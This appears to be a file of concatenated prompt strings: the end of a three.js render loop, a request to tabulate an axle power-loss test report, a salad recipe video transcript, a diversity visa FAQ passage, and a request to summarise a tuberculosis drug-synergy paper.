simplex.noise2D(time, 0);\n const offsetZ = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 1);\n\n camera.position.lerp(targetCameraPosition, 0.05); // Smoothly interpolate the camera position towards the target position\n camera.lookAt(scene.position);\n\n renderer.render(scene, camera);\n}\n\n\nrender();" +'Given this Test Report, please extract all relevant measures for test scope and summary of results specifying a proper label, the value and the unit of measure in a table.\nAdd a summary of test result and conclusions at the end: \n\n"TEST REPORT P&T + Lube\n\nTest Engineer / Responsible: Business Unit Test Center: Completion Date:\nEng. D. Zaglia Off Highway Arco, Italy June 7th, 2021\nRequestor name: Service Request ID: Location: Business Unit:\nMr. L. Fornoli n.a. Arco, Italy Off Highway\nTest Materials\nPart Name: Part Number: Revision Level: Model Series: Samples N°:\n755 Front Agri Axle 10145957 Proto 0 M2 21V CVT 1\nTest Scope\nAccording to the DVP&R of the M2 21V CVT project, It was requested a reduction of the power loss of the previous test 96\\_20 (std oil level) a new test was required for 755/10145957 MF Front Agri axle w/ reduced oil level (-0.5 lt.), Oil ELF SF3:\nPower Loss vs. rpm up to 3234 rpm (53 kph) in @ 90, 60 °C, T amb. 25°C – FWD and REV (test diagrams file);\nP&T: Power Loss & Temperature Raise @ 53 kph FWD;\nLube: different combinations of speed, direction, temperatures, 0°, monitoring oil levels in critical areas.\nRef. tests: 02\\_17 (755/611 M2), 05\\_17 (740/623 M2-19); 96\\_20 (755 M2-21 std oil level).\n\nSummary of Results\nTest completed w/o any issue, in particular no lubrication issues and no oil leak. Main results (96\\_20):\nPower Loss vs. rpm @ 90°C 3.60 (4.55) kW, 60 °C 4.2 (5.7) kW, T amb. 8.1 (10.3) kW, after run-in; for other cond., see foll. Tab); In REV, Power Loss less than FWD.\nP&T: @ 1 hr 6’ 85°C, 2.8 kW, then changing w/ Power Loss step and no stabilization, (ref. to 20°C amb.).; @ 2 hrs, about 110°C, 5.3 kW;\nLube: @ horizontal not any sign of lubrication problems (all P and T curves w/ normal behavior) oil levels in inclined not performed due to not suitable bench availability.\nFinal tear down: done after the following Hi-speed test 97\\_20.\n\n Test Result\n Partially PASSED: Improved but same Power Loss step\nConclusions \nThe 755/10145957 “M2 21V CVT” axle did Partially passed the P&T + Lube test due to:\nP&T test: Temperature in central remained below 120°C (max. allowable) within target 2 hrs, but curves become not regular behavior (P. Loss step up) after 1hr:6’ w/ no stabilization;\nPower Loss values significantly lower than reference test w/ M2 axle and also of 740 axle (ref. 05\\_17);\nLubrication: oil level always above min. oil level in all compartments.\nAdvised to not reduce further oil level unless the Power Loss step-up is solved.\nOthers: no oil leak and not any lubrication problem.\n\nTest start: April 7th, 2021; April 8th, 2021.\n\nMain data axle\nBOM 755/10145957 Axle s/n s/n C-ITA-374922 Proto1, assembled originally @ Como and reassembled @ Arco after tests 96\\_21 P&T and 97\\_21 Hi-speed, installed @ Test Lab w/ transparent oil tubes for oil level monitoring (both arms, between pinion bearings, between pinion tail baring and seal; axle Total Reduction Ratio: Bevel set: 14/37 LH Crown input pinion n. -, Hub reduction ratio i hr = 6.353, 4 planetary gears ground std prod. i tot. = 16.79.\nSeals, all by FST: Arm: New Combi-Go p/n 10118272; other seals from std prod: input p/n 760.04.012.01, sun gear cassette seal p/n 10152216, wheel hub kassette seal p/n 755.06.082.01.\nOil: Total Tractelf SF3 (UTTO, DANA first fill), central 11.0 -0.5 lt. (below @ oil level), Final Drives 1.9 lt. each. Oil quantities referred to first fill @ Como (from APR).\nTest bench: Brakes2. Operator: Giuseppe F.\nCalibration data, ref file: PRSSTS015011#001BF2.xlsx – updated?\n \nTest Procedure/Description\nSame of 96\\_20: spinning at speed with of 53 km/h, Horizontal, FWD direction only, Wheel Radius = 0.73 m, equivalent to an input rpm in = 3234 rpm, no torque/load, no steer. \nOthers: Axle in horizontal position; No ventilation.\nTemperature probe on central housing (oil drain plug). \n\nParameters to be Measured / Monitored\nMeasured parameters: input speed, differential (drain oil plug) and ambient temperature. \nTest cycle\nSpeed from max. (3234 rpm @ pinion) to 0 rpm at the following temperature values (tolerance ±5 °C):\n25° C (T ambient)\n60° C\n90° C \nAir ventilation if necessary with cooling fans to adjust to the desired temperature.\n\nAcceptance Criteria\nAccording to std. DANA Reference TS.30.P&T.A: max. 120°C oil (ref. 120°C; not if stabilized.\nLubrication: oi level must not be lower the lower roller axis, so to have all bearings receive sufficient lubricant amount.\nOthers: No failure of any components, no leak (acc. to TS: max. level 2 acceptable to SAE J1176), no sign of overheat/seizure on bearings.\n\nResults\n(For other data/details, see diagrams in appendix and file: “159\\_19 730-10134295 design validation.doc”)\nPower Loss and P&T Test: Following development steps had been done without ventilation. Oil @ lev. -0.5 lt. (data 90\\_20).\nInput speed [rpm] Power Loss vs. rpm P&T - ref. 20°C amb. Remarks Oil @ std lev.\n Dir. T cent. [°C] P [kW] T cent. [°C] Time test P [kW] \n3234 FWD 25 8.1 (9.4) - - - at 0 hrs, before P&T test\n3234 FWD - - 110 120 5.3 85°C / 2.8 kW @ 60’, then Power step-up; not stabilization (25° amb.)\n3234 FWD 90 3.6 (4.5) - - - After run-in\n“ FWD 60 5.2 (5.7) - - - \n\nAlso measurements in REV are available.\nLegenda: \nLH & RH named as Driver sees, \nin Blue colour most remarkable. \n: OK; : NOT OK \n\nTest Bench Diagrams\nRemarks: \nacquisition for ramp-up 1 sample / 0.2” = 5 Hz 1 hr = 18000 samples;\ninput rpm: \nP&T diagrams scale: ref. to real axle input speed (bench in 2nd gear: ratio 1.61) – after post-process (Off-line graph);\nP vs. rpm diagrams scale: for Axle input rpm: x 1.36\nPower Loss 3234 rpm FWD type oil ELF SF3 (axle already run-in)\n\n96\\_20 755-10145957 MF M2 21V CVT Power Loss 3234 rpm FWD, oil ELF SF3 @0 hrs w/o ventilation, after run-in\n\n40\\_21 755 MF M2 1. Pvs.rpm 53kph FWD -0,5lt. 25°C Tamb type oil ELF SF3 diff. Lock 5 bar\n\n40\\_21 755 MF M2 1. Pvs.rpm 53kph FWD -0,5lt. T=90°C type oil ELF SF3 diff. Lock 5 bar\n\n40\\_21 755 MF M2-21 Pvs.rpm 53kph FWD -0,5lt. T=60°C type oil ELF SF3 diff. Lock 5 bar\n\n\nP&T 3234 rpm FWD Tamb. type oil ELF SF3 -0.5 lt. in central housing; target: 120 min\n\n40\\_21 755 MF M2-21 P&T 3234 rpm 120 min FWD Tamb type oil ELF SF3\n\n96\\_20 755-10145957 MF M2 21V CVT P&T 3234 rpm 120 min FWD Tstart: 30°C, oil type: ELF SF3 –85°C in 60’: OK\n\nAppendix 1: related documents\nDocuments Path File\nTest Request …\\40\\_21 755-10145957 MF M2 P&T + Lube 2nd Test Request PT+Lube AGCO M2 21V CVT rev\\_01.docx\nDrawings …\\“\\Drawings Folder\nTest diary …\\“ 40\\_21 755 MF M2 21V CVT P&T Lube test bench diagrams Rev.0.docs\nISIR …\\“\\ISIR 40\\_21 755 MF Foglio di allestimento GF Rev.0; Proto 1 P&TH.zip\nMaterial analysis …\\”\\Material analysis Seals kit: \nOthers …\\“\\Various DVPR\\_M2\\_21CVT\\_MF\\_06-03-20.xlsx\n\n\nTest Photos\n\nTest bench layout\n\n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout 96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout – Oil level decreased after the drain of 0.5 lt. (hose OD=8.0 mm) 96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n\nLube test @ 0°\nLH side (Diff.) – RH side (Crown) Pinion Side\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph REV 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph REV 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 90°C (2) 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 90°C (1)\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 90°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 90°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 90°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 90°C 02\n\n\nTear Down Central Housing\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF 96\\_20 755-10145957 Proto1 M2 21V CVT MF\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF) 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF) 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF – Pinion Tail bearing cup: OK – some dentings probably due to disassembly 96\\_20 755-10145957 Proto1 M2 21V CVT MF – Pinion Back-Head bearing cup: OK – dragged hard particles marks\n\nFor more details and photos see the folder in archive: 40\\_21 755-10145957 MF M2 21V CVT P&T-lube\nEnd of Report\ning. D. Zaglia\nFile: 96\\_20su1.docx Rev.0 In Red colour: DANA internal only Page 1 of 2\nThis document is the property of Dana Incorporated. It is furnished to you for confidential information purposes only and is not to be disclosed to anyone else, reproduced, or used for manufacturing purposes without the express written permission of Dana Incorporated.\n"' +"hi everyone I hope you're all doing really well and for those of you who don't know me I'm Malin about a year ago I shared a salad recipe here on the channel That Roman I was obsessed with at the time and I thought this year mustn't be any different and we should stick to tradition so I'm back with another salad that we have been making in different Renditions for years now and this version is the best yet I think and I want to give it our full attention today it has a few different components prepared in different ways and this is the way to a good salad I think and if you want to learn more about the science let's call it behind how I compose salads you can check out a video we made called six easy steps to level up your salads that we posted last year and I'll link that down below for you if you want to see it now this salad has a base of crunchy veg that will be topped with a delicious sticky Ginger tofu as well as some nuts and coriander and spring onion for more interest first I'll show you how to make some quick pickled chilies though that will go on top of the salad at the end and this is a really good technique to learn because it works for any quick pickle that you want to make but before we get into that I want to thank Squarespace for sponsoring this video and tell you a little bit more about them Squarespace is an all-in-one website builder with lots of great tools to make it easy to build a beautiful and well-functioning site without any previous knowledge about coding or website building personally I've used Squarespace to create my online food photography portfolio and I really like that it is so easy and intuitive to use there are plenty of themes fun combinations and color combos on Squarespace to get you started and there are themes for many different purposes so it's great for everyone from business owners and e-commerce all the way to creatives and bloggers so if you're thinking about creating a website for any purpose check out squarespace.com for a free trial and when you're ready to launch your site go to squarespace.com forward slash good eatings for 10 of your first website or domain all right so let's begin and why I like to start by making the quick pickle is because it needs to sit for preferably an hour before we tuck into it or top the salad with it and you could also make it a day ahead of making the salad itself and it will keep in the fridge for about a week or two weeks even if you don't end up using it all for the salad now and it's a very simple process which starts with two nondescript long green chilies like these that are mild here in Sweden these chilies are just called green chilies in the store so I can't give you more of an indication but you could use jalapenos if you can't find this variety and I use two whole green peppers for this recipe that serves four people once I've sliced the peppers up I just transfer them into a jar and then I prepare a very basic pickling liquid I add one quarter cup of water to a small saucepan along with one quarter cup of rice vinegar then I add a quarter of a teaspoon of sugar and a quarter of a teaspoon of salt then over low medium heat I just warm it up and whisk it until the sugar has dissolved it doesn't need to come to a boil or anything you just warm it until it's dissolved and then pour it over the peppers once all the liquid is in there I like to give the sliced chilies a quick prod just to coat them all in the liquid and then I let them sit while I prep the rest of the recipe so now with the pickle pickling away I will move on to prepping the tofu is this the marinade or glaze for that is very similar to the dressing that goes for the crunchy veg in the base of the salad I like to prepare them at the same time so I've just grabbed two bowls here and I think these little adjustments when you cook is how you can save a little bit of time and become more efficient in the kitchen so if you ever see that some components in a recipe you are using it has the same ingredients then prepare them at the same time it just makes it easier for yourself and that's what I will do and the tofu I'm using is extra firm tofu because it has a little less water in it and will have that nice and firm texture that I'm looking for in this recipe without us having to press it beforehand so what I do is that I just simply Pat it dry with a clean towel you could do this with paper towels if you prefer and if you are using plain firm tofu you could press it for about half an hour to get rid of any excess liquid the block of tofu I'm using here is 400 grams worth and once it's all nice and dry I cut it into four equal sized pieces then I slice each one of those pieces into four slices roughly half a centimeter thick but of course you could cut these into cubes if you prefer or cut them into any shape you like it really doesn't matter all that much as long as you fry them on all sides later once the tofu is all sliced up I transfer it into a shallow bowl and try to place it in a single layer as well as I can then I spread one tablespoon of corn starch over the surface and then cover the tofu in the cornstarch as evenly as possible this will ensure that the tofu gets a nice crispy surface when we fry it later I set the coated tofu aside and get started with the marinade and the dressing and both of these need fresh ginger so first I make sure to peel it and I like to use a teaspoon for this it's just such a great way to peel Ginger trust me if you've never tried it yourself then I like to grate the ginger on a micro plane but you could use a box grater or any other grating apparatus that you like you could even chop it finely if you prefer to get started with the dressing I transfer one teaspoon of the grated Ginger into one of my bowls and then I mince one clove of garlic into that bowl as well again I like to use my garlic press for this but you could mince it with a knife if you find that easier next I add in three tablespoons of soy sauce or you could use tamari as a gluten-free option I also add in two tablespoons of rice vinegar which gives a nice acidity to the dressing for some nuttiness I add in one tablespoon of toasted sesame oil then to round it out I add in one tablespoon of olive oil as well I'm also adding in one tablespoon of maple syrup for a bit of sweetness and finally I'm squeezing in the juice of half a large lime which gives this dressing a little extra thing and then I just mix that all up to combine and set it aside this will give the flavors and the dressing some time to all come together and marry before we add them to the veggies next I prepared the marinade or glaze we could call it for the tofu and I add the remaining two teaspoons of grated Ginger to the other Bowl along with one minced garlic clove I pour in two tablespoons of soy sauce or tamari as well as one teaspoon of maple syrup one teaspoon of toasted sesame oil and one teaspoon of rice vinegar finally I go in with half a teaspoon of chili flakes for a little bit of heat and then I mix it all up and that's the marinade done and I will set it aside while I fry up the tofu first so I heat up about two tablespoons of oil in a skillet over medium Heat then I add the coated tofu slices in a single layer and fry them for about four or five minutes on one side until they're nice and golden then I flip them and fry them for about three or so minutes on the other side or until they're golden on both sides you might think this seems like I'm doing things the wrong way around since I haven't really flavored them yet but you will see how they soak up all the flavor from the marinade when I add it to the skillet usually at this point the frying pan is very hot so I do the step with the heat off so when the tofu is golden on both sides I pour the marinade over it and then toss the tofu in the marinade and let it cook into the surface of it if you find that the marinade isn't becoming sticky and sticking to the tofu itself you might want to turn the heat back on what you want is for it all to be absorbed by the tofu and for it to get a nice surface so when I take the tofu off the heat I like to just let it sit in the pan still on the residual heat while I prep the veg because now the two sort of main topping players are all done and we are going to do the salad base and of course you could start with the veg but I like them to be as fresh as possible when I serve the salad so I always do it last to retain as much crunch as possible and I'm using great winter veg here like cabbages and carrot and prepping them in a way that is still fresh and a little summery if you will of course you could use other veg in here as well if you are in a different season to me then of course you could use cucumbers or courgettes or whatever other veg that you think will go well with this crunchy salad anyways in my salad there will also be fresh coriander and spring onion running through it all though to give it a little more Pizzazz and I'm going to use a not very seasonal vegetable too which is a bell pepper to add some more color and vibrancy and also a little bit of sweetness it is all very straightforward really so let's prep the veg and start building the finished dish if you wanted to you could Shred the cabbage with a mandolin but for this recipe I personally usually chop the Cabbage a little bit rougher so I prefer to use a knife and to serve four people I chop up four cups worth of the white cabbage and then I transfer it into a large mixing bowl next up I chop up two cups worth of the purple cabbage in the same manner that I did the white cabbage and then I move on to the bell pepper cutting around the core to remove the flesh from the core itself and then I like to julienne it using my knife just slicing it into little batons [Music] then I move on to the carrot which I will also julienne but for this I like to use a julienne peeler and you could peel the carrot before or not it's really up to you then I just slice along the carrot lengthways with the julienne peeler to create these long strips if you don't have a julienne peeler you could simply grate the carrot using a box grater or cut it with a knife I actually like to cut them into shorter battons anyway just so that they mix into the other vegetables nicely and for this mix I like to use about a cup and a half of carrot then I clean some spring onion that I will slice up into thin slices and I use about three quarter cup in the salad but I also like to set some aside that I can sprinkle over the top of the salad later as a topping the last ingredient going into the veg space for the salad is fresh coriander and I like to chop up a Cup's worth of the leaves just roughly again it can be nice to set aside some whole leaves for topping the salad with at the end as well finally I just transferred the spring onion and the chopped coriander to the bowl with the other veggies and then I pour the dressing over the veggies and toss them in the dressing just to coat it all really nicely there really is some serious crunch going on in this salad and that's what I like about it the most and the dressing complements it really well adding some Umami some nuttiness as well as some nice brightness and acidity to serve I like to transfer it to a sharing dish and I really should get myself a bigger one but I spread it out across an oval dish and then I like to layer in the tofu in little stacks you could of course Also Serve All the separate components family style so everyone can add what they want to their plate but I think this looks really beautiful and here I'm just sprinkling over that sliced spring onion and some more coriander leaves and then finishing off the salad with some chopped mixed and salted nuts the almost Final Touch is of course the quick pickled chilies that have now been sitting in that pickling Brine and becoming really nice and mellow and you can add as many or as few as you like to suit your level of spiciness then to wrap it all up I like to sprinkle it with some toasted sesame seeds for a little extra Crunch and beauty so that is my crunchy cabbage salad and this salad really is great in so many different scenarios since it's mainly made from hearty veg you can meal prep it for your lunch boxes it will keep well in the fridge for a few days but it is also equally great to make for lunch when you have friends and family over it's in a nice colorful bright and flavorful dish to treat people too and it's great in Winter as it uses those inexpensive winter veg as the base but it's equally delicious in the summer when it's really hot out and you want something fresh and crunchy so basically what I'm saying is that I think this salad has it all and I hope you try it and enjoy it as much as we do and yeah thank you all very much for watching I look forward to seeing in the next video and until then take care bye" +'SELECTION\n22.\u202f\u202fHow do I know if I am selected?\u202f\nYou must use your confirmation number to access the Entrant Status Check available on the E-DV\nwebsite at\u202fdvprogram.state.gov from\u202fMay\u202f6,\u202f2023,\u202fthrough\u202fSeptember\u202f30,\u202f2024.\u202f\u202fEntrant Status Check is\nthe sole means by which\u202fthe Department of State will notify\u202fyou if you are selected, provide further\ninstructions on your visa application, and notify you\u202fof your immigrant visa interview appointment date\nand time.\u202f\u202fIn order to ensure the use of all available visas, the\u202fDepartment of State may\nuse\u202fEntrant\u202fStatus Check to\u202fnotify additional selectees\u202fafter\u202fMay\u202f6, 2023.\u202f\u202fRetain your confirmation\nnumber until\u202fSeptember 30,\u202f2024,\u202fin case of any updates.\u202f\u202fThe\u202fonly authorized Department of State\nwebsite for official online entry in the Diversity Visa Program and Entrant Status Check\nis\u202fdvprogram.state.gov.\u202f\u202f\u202f\nThe Department of State will NOT contact you to tell you that you have been selected\u202f(see FAQ #25).\n23.\u202f\u202fHow will I know if I am\u202fnot\u202fselected?\u202f Will I be notified?\nThe Department of State will NOT notify you\u202fdirectly if your entry is not selected.\u202f You must use the\nEntrant Status Check to learn whether you were selected.\u202f\u202fYou may check the status of your DV2024\u202fentry through the Entrant Status Check on the E-DV website\u202ffrom\u202fMay\u202f6,\u202f2023,\nuntil\u202fSeptember\u202f30,\u202f2024.\u202f Keep your confirmation number until at least\u202fSeptember 30,\u202f2024.\u202f (Status\ninformation for the previous year’s DV program, DV-2023, is available online\nthrough\u202fSeptember\u202f30,\u202f2023.)\u202f\u202f\n24.\u202f\u202fWhat if I lose my confirmation number?\nYou must have your confirmation number to access Entrant Status Check.\u202f A tool is now available in\nEntrant Status Check\u202fon the\u202fE-DV\u202fwebsite that will allow you to retrieve your confirmation number via\nthe email address\u202fwith which\u202fyou registered by entering certain personal information to confirm your\nidentity.\u202f\nU.S.\u202fembassies and\u202fconsulates\u202fand the Kentucky Consular Center are unable to check your selection\nstatus for you or provide your confirmation number to you directly (other than through the\nEntrant\u202fStatus\u202fCheck\u202fretrieval tool).\u202f The Department of State is\u202fNOT\u202fable to\u202fprovide a list of those\nselected to continue the visa process.\u202f\n25.\u202f\u202fWill I receive information from the Department of State by email or by postal mail?\nThe Department of State will not send you a notification letter.\u202f The U.S. government has never sent\nemails to notify individuals that they have been selected, and there are no plans to use email for this\npurpose for the DV-2024\u202fprogram.\u202f\u202fIf you are a selectee, you will only receive email communications\nregarding your visa appointment\u202fafter\u202fyou have responded to the notification instructions on Entrant\nStatus Check,\u202fif an immigrant visa interview becomes available.\u202f These emails will not contain\ninformation on the actual appointment date and time; they will simply tell you\u202fto go to the\u202fEntrant\nStatus Check\u202fwebsite\u202ffor details.\u202f\u202fThe\u202fDepartment\u202fof State may send emails reminding\nDV\u202fprogram\u202fapplicants to check the Entrant Status Check\u202ffor their status.\u202f However, such emails will\nnever indicate whether the\u202fDV program\u202fapplicant was selected\u202for not.\u202f\nOnly internet sites that end with the “.gov” domain suffix are official U.S. government websites.\u202f Many\nother websites (e.g., with the suffixes “.com,” “.org,” or “.net”) provide immigration and visa-related\ninformation and services.\u202f The Department of State does not endorse, recommend, or sponsor any\ninformation or material on these other websites.\u202f\nWarning:\u202f\u202fYou may receive emails from websites\u202fthat try\u202fto trick you into sending money or providing\nyour personal information.\u202f\u202fYou may be asked to pay for forms and information about immigration\nprocedures, all\u202fof\u202fwhich are available free on the Department of State website,\u202ftravel.state.gov,\u202for\nthrough U.S.\u202fembassy or\u202fconsulate websites.\u202f Additionally, organizations or websites may try to steal \nyour money by charging fees for DV-related services.\u202f If you send money to one of these\u202fnongovernment organizations or websites, you will likely\u202fnever see it again.\u202f Also, do not send personal\ninformation to these websites, as it may be used for identity fraud/theft.\u202f\nDeceptive emails may come from people pretending to be affiliated with the Kentucky Consular Center\nor the Department of State.\u202f\u202fRemember that the U.S. government has never sent emails to\nnotify individuals they have been selected, and there are no plans to use email for this\npurpose for the DV-2024\u202fprogram.\u202f\u202fThe Department of State will never ask you to send\nmoney by mail or by services such as Western Union, although\u202fapplications\u202fto USCIS for\nadjustments of status do require mailing\u202fa fee.\u202f\u202fVisit\u202fthis\u202fsite\u202ffor more details\u202fon adjusting status.\u202f\n26.\u202f\u202fHow many individuals will be selected for DV-2024?\nFor DV-2024, 55,000\u202fDiversity\u202fVisas are available.\u202f\u202fThe Department of State selects more\u202fthan\n55,000\u202fselectees to account for selectees who\u202fwill not qualify for visas\u202fand\u202fthose who will\u202fnot\u202fpursue\ntheir cases to\u202fcompletion.\u202fThis\u202fmeans there\u202fwill\u202fnot be a sufficient number of visas for all those\nselected.\u202f The Department does this to try to use as many of the 55,000 DVs as we can.\u202f\u202f\nYou can check the E-DV website’s Entrant Status Check to see if you have been selected for further\nprocessing and later to see the status of your case.\u202f Interviews for the DV-2024\u202fprogram will begin in\nOctober\u202f2023\u202ffor selectees who have submitted all pre-interview paperwork and other information as\nrequested in the notification instructions.\u202f Selectees whose applications have been fully\nprocessed\u202fand\u202fhave been scheduled for a\u202fvisa interview appointment\u202fwill receive a notification to\u202fobtain\ndetails\u202fthrough the E-DV website’s Entrant Status Check four to six weeks before the scheduled\ninterviews with U.S. consular officers\u202foverseas.\u202f\u202f\u202f\nEach month, visas\u202fmay\u202fbe issued to those applicants who are\u202feligible\u202ffor issuance during that month,\u202fas\nlong as visas are available.\u202f\u202fOnce all the 55,000\u202fdiversity\u202fvisas have been issued,\u202fthe program will\nend.\u202f\u202fVisa numbers could be finished before September\u202f2024.\u202f Selected applicants who wish to\u202fapply\nfor\u202fvisas must be prepared to act promptly on their cases.\u202f Being randomly chosen as a\nselectee\u202fdoes not\u202fguarantee that you will receive a visa\u202for even the chance to\u202fmake a visa\napplication or to schedule a visa interview.\u202f\u202fSelection merely means that you may be eligible\nto apply for a\u202fDiversity\u202fVisa.\u202f\u202fIf your rank number becomes eligible for final\nprocessing,\u202fyou\u202fmay have the chance to make an application and\u202fpotentially\u202fmay\u202fbe issued\na\u202fDiversity\u202fVisa.\u202f\u202fA maximum of\u202f55,000 visas\u202fmay\u202fbe issued to such applicants.\n27.\u202f\u202fHow will successful entrants be selected?\nOfficial notifications of selection will be made through Entrant Status Check, available\nMay\u202f6,\u202f2023, through\u202fSeptember\u202f30,\u202f2024, on the E-DV website,\u202fdvprogram.state.gov.\u202f The\nDepartment of State\u202fdoes not\u202fsend selectee notifications or letters by regular postal mail or\nby email.\u202f Any email notification or mailed letter stating that you have been selected to\nreceive a DV\u202fthat\u202fdoes not come from the Department of State is not legitimate.\u202f Any email\ncommunication you receive from the Department of State will direct you to review Entrant\nStatus Check for new information about your application.\u202f\u202fThe Department of State will\nnever ask you to send money by mail or by services such as Western Union, unless you are\nadjusting status.\u202f\u202fSee\u202fthis\u202fsite\u202ffor more information\u202fon adjusting status.\u202f\nAll entries received from each region\u202fare\u202findividually numbered;\u202fat\u202fthe end of the entry period, a\ncomputer will randomly select entries from among all the entries received for each geographic region.\u202f\nWithin each region, the first entry randomly selected will be the first case registered; the second entry\nselected will be the second case registered, etc.\u202f All entries received within each region during the\nentry period will have an equal chance of being selected.\u202f When an entry has been selected, the\nentrant will\u202freceive\u202fnotification\u202fof his\u202for\u202fher selection through the Entrant Status Check available\nstarting May\u202f6,\u202f2023, on the E-DV website,\u202fdvprogram.state.gov.\u202f\u202fFor individuals who are\u202fselected\nand\u202fwho\u202frespond to the instructions provided online via Entrant Status Check, the Department of\nState’s Kentucky Consular Center (KCC) will process the case until those selected are instructed to\nappear for visa interviews at a U.S.\u202fembassy or\u202fconsulate or until those in the United States who are\napplying to adjust status apply\u202fwith\u202fUSCIS\u202fin the United States.\u202f\n28.\u202f\u202fI am already in the United\u202fStates.\u202f If selected, may I adjust my status with USCIS?\nYes, provided you are otherwise eligible to adjust status under the terms of Section 245 of the\nImmigration and\u202fNationality\u202fAct\u202f(INA), you may apply to USCIS for adjustment of status to permanent\nresident.\u202f You must ensure that USCIS can complete\u202faction on your case, including processing of any\noverseas\u202fapplications for a\u202fspouse or\u202ffor children\u202funder 21 years of age, before September 30,\u202f2024,\nsince on that date\u202fyour eligibility\u202ffor the DV-2024\u202fprogram expires.\u202f\u202fThe\u202fDepartment\u202fof State will not\napprove any visa numbers or adjustments of status for the DV-2024\u202fprogram after midnight EDT on\nSeptember 30,\u202f2024.\u202f\n29.\u202f\u202fIf I am selected, for how long am I entitled to apply for a\u202fDiversity\u202fVisa?\u202f\nIf you are selected in the DV-2024\u202fprogram, you are entitled to apply for visa issuance only\nduring\u202fU.S.\u202fgovernment\u202ffiscal\u202fyear\u202f2024,\u202fwhich\u202fis\u202ffrom October 1, 2023, through September\n30,\u202f2024.\u202f We encourage selectees\u202fto apply\u202ffor visas as\u202fearly\u202fas possible once their\u202fprogram\u202frank\nnumbers become eligible.\u202f\nWithout exception, all selected and eligible applicants must obtain their visa or adjust\nstatus by the end of the fiscal year. \u202fThere is no carry-over of DV benefits into the next year for\npersons who are selected but who do not obtain visas by September 30,\u202f2024\u202f(the end of the fiscal\nyear).\u202f Also, spouses and children who derive status from a DV-2024\u202fregistration can only obtain visas\nin the DV category between October 1, 2023,\u202fand September 30,\u202f2024.\u202f\u202fIndividuals\u202fwho apply overseas\nwill receive an appointment notification from the Department\u202fof State\u202fthrough Entrant Status Check on\nthe E-DV website four to six weeks before the scheduled appointment.\u202f\n30.\u202f\u202fIf a DV selectee dies, what happens to the case?\nIf a DV selectee dies at any point before\u202fhe or she has\u202ftraveled to the United States\u202for adjusted status,\nthe DV case is automatically\u202fclosed.\u202f Any derivative spouse and/or children of the deceased selectee\nwill no longer be entitled to\u202fapply for\u202fa DV visa.\u202f\u202fAny visas issued to them will be revoked.' +'explain in detail the summary of this paper in no less than 1000 words? ABSTRACT\nTuberculosis (TB) imposes a major burden on global public health which is exacerbated by the escalating number of multidrug-resistant (MDR)-TB cases. There is consequently an urgent need for new anti-TB drugs and combination regimens. We have investigated the natural product antibiotic fusidic acid (FA) for repurposing against Mycobacterium tuberculosis, the causative agent of TB. Here, we report the results of synergy screens combining FA with a panel of approved anti-TB agents. Checkerboard and time-kill kinetics assays identified seven compounds from different chemical classes that synergized with FA in inhibiting the growth of M. tuberculosis in vitro: rifampicin (RIF), a rifamycin and frontline anti-TB drug; the macrolides, erythromycin (ERY), clarithromycin (CLR), and roxythromycin (ROX); the oxazolidinone, linezolid (LZD); the aminoglycoside, streptomycin (STR); and the aminocyclitol, spectinomycin (SPC). Among these, the strongest synergies were observed where FA was combined with SPC and ERY. Moreover, the FA-RIF combination was cidal, while all other FA combinations were bacteriostatic. These results provide in vitro evidence of the potential utility of FA-containing combinations against M. tuberculosis.\n\nINTRODUCTION\nCombination therapy is essential to the clinical management of tuberculosis (TB) disease (1). Until recently, strategies to identify and advance promising combinations during early-stage pre-clinical TB drug discovery were limited. However, growing recognition of the need to identify new anti-TB drugs and regimens has re-focused attention on early-stage pre-clinical identification of synergizing combination partners for potential development (2), including drugs which are not clinically effective against TB (3, 4).\n\nAs part of a drug repurposing strategy, we utilized fusidic acid (FA) as anchor compound in developing matrix screening assays aimed at identifying optimal drug combination(s) that might be evaluated within the existing TB drug pipeline for potential clinical efficacy. FA, a translational inhibitor with demonstrated (albeit moderate) activity in vitro (5, 6), was selected owing to its unique mechanism of action: specifically, inhibition of mycobacterial protein synthesis by binding to elongation factor G (EF-G) (7). The antimicrobial-potentiating effect of FA with other antibiotics including the frontline anti-TB drug, ethambutol (EMB), as well as its lack of cross-resistance to other antimicrobial classes, provided additional motivation for our choice of FA (8, 9). In this short report, we present the analysis of in vitro interactions between FA and partner compounds comprising drugs currently used in TB treatment and selected translational 